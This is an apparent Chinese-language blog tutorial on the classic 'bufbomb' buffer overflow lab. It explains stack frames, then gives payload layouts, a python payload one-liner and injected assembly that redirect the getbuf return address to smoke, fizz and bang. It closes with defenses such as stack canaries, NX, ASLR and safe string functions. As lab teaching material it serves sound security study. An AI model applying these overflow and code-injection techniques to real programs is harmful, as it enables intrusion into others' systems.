【计算机系统】缓冲区溢出攻击实战:从原理到漏洞利用
1. 缓冲区溢出攻击的基本原理我第一次接触缓冲区溢出漏洞是在大学的安全课程上当时教授用一个简单的C程序演示了如何通过输入超长字符串让程序崩溃。这种看似简单的现象背后隐藏着计算机系统最经典的安全漏洞之一。缓冲区溢出本质上是一种内存越界写入问题。当程序向固定长度的缓冲区写入数据时如果没有检查输入长度超出的数据就会溢出到相邻内存区域。这就像往一个500ml的杯子里倒600ml水多出来的100ml会流到桌面上。在x86架构中函数调用时会形成栈帧结构包含局部变量、保存的寄存器值和返回地址。以这个实验中的getbuf函数为例int getbuf() { char buf[12]; Gets(buf); return 1; }这里的buf是只有12字节的字符数组但Gets函数会无限制地读取输入直到遇到换行符或EOF。如果我们输入超过12个字符实际需要考虑null终止符多出的数据就会覆盖栈上的其他数据包括关键的返回地址。2. 实验环境搭建与工具准备做这个实验前我们需要准备好以下环境Linux系统推荐Ubuntu 18.04或20.04 LTS版本32位兼容库因为实验用的是32位程序在64位系统上需要安装sudo apt-get install gcc-multilib必要工具GDB调试器sudo apt-get install gdbobjdump通常随binutils包安装make和gcc用于编译辅助工具我在第一次实验时就遇到了问题 - 直接运行bufbomb时报错无法执行二进制文件。这是因为64位系统默认不运行32位程序。解决方法就是安装上面提到的32位兼容库。调试时有个小技巧使用gdb -tui可以开启图形化界面同时查看代码和寄存器状态。对于分析栈帧结构特别有帮助。3. 第一关修改返回地址第一关的目标是让getbuf()返回到smoke()函数而非原来的test()。这需要精确控制溢出数据覆盖返回地址的位置。通过objdump分析getbuf的汇编代码080491f4 getbuf: 80491f4: 55 push %ebp 80491f5: 89 e5 mov %esp,%ebp 80491f7: 83 ec 28 sub $0x28,%esp 80491fa: 8d 45 e8 lea -0x18(%ebp),%eax 80491fd: 50 push %eax 80491fe: e8 6d ff ff ff call 8049170 Gets 8049203: b8 01 00 00 00 mov $0x1,%eax 8049208: c9 leave 8049209: c3 ret关键信息sub $0x28,%esp分配了40字节栈空间(0x28)lea -0x18(%ebp),%eaxbuf起始地址在ebp-0x18(24字节处)返回地址在ebp4的位置所以payload结构应该是[24字节填充][4字节旧ebp][4字节smoke地址]使用python生成payload很方便python -c print(A*24 BBBB \xb0\x8e\x04\x08) input.txt4. 第二关带参数的函数跳转第二关难度升级不仅要跳转到fizz()函数还要传入正确的cookie参数。这需要理解函数调用时参数是如何传递的。分析fizz的汇编代码08048e60 fizz: 8048e60: 55 push %ebp 8048e61: 89 e5 mov %esp,%ebp 8048e63: 83 ec 08 sub $0x8,%esp 8048e66: 8b 45 08 mov 0x8(%ebp),%eax 8048e69: 3b 05 d4 a1 04 08 cmp 0x804a1d4,%eax ...可以看出参数是通过ebp8的位置传递的。在正常的函数调用中call指令会先将返回地址压栈所以第一个参数在ebp8。但在我们的攻击中是通过直接修改返回地址实现的非正常跳转没有经过call指令。因此需要在返回地址后面放置参数。payload结构变为[24字节填充][4字节旧ebp][4字节fizz地址][4字节任意返回地址][4字节cookie]这里有个坑点在fizz函数开头会执行push %ebp和mov %esp,%ebp所以实际参数位置会比我们预想的低4字节。因此需要在cookie前加4字节填充。5. 第三关代码注入与全局变量修改第三关是最复杂的要求先修改全局变量global_value再跳转到bang()函数。这需要注入一段汇编代码并执行。基本思路是编写汇编代码完成global_value cookie将这段代码的机器码作为输入的一部分让getbuf返回到我们注入代码的地址汇编代码大致如下mov 0x804a1d4, %eax # 读取cookie值 mov %eax, 0x804a1c4 # 写入global_value push $0x08048e10 # bang地址压栈 ret # 跳转到bang将这段代码编译后提取机器码gcc -m32 -c code.s objdump -d code.o关键是要确定buf的准确地址。可以通过gdb调试获取(gdb) break getbuf (gdb) run (gdb) print $ebp-0x18最终payload结构[注入的机器码][填充至返回地址][buf起始地址]6. 防御措施与最佳实践完成攻击实验后我们应该思考如何防御这类漏洞。现代系统已经有很多防护机制栈保护(Stack Canary)编译器在栈上插入随机值在返回前检查是否被修改DEP/NX(数据执行保护)将数据段标记为不可执行ASLR(地址空间随机化)随机化内存地址使攻击者难以确定跳转地址在开发中应该永远使用安全的字符串函数(strncpy代替strcpy)对所有输入进行长度检查使用现代编译器的安全选项(-fstack-protector)我在实际项目中就遇到过因为strcpy导致的潜在漏洞通过代码审计工具发现后全部替换成了带长度检查的安全版本。安全无小事特别是在处理用户输入时一定要保持警惕。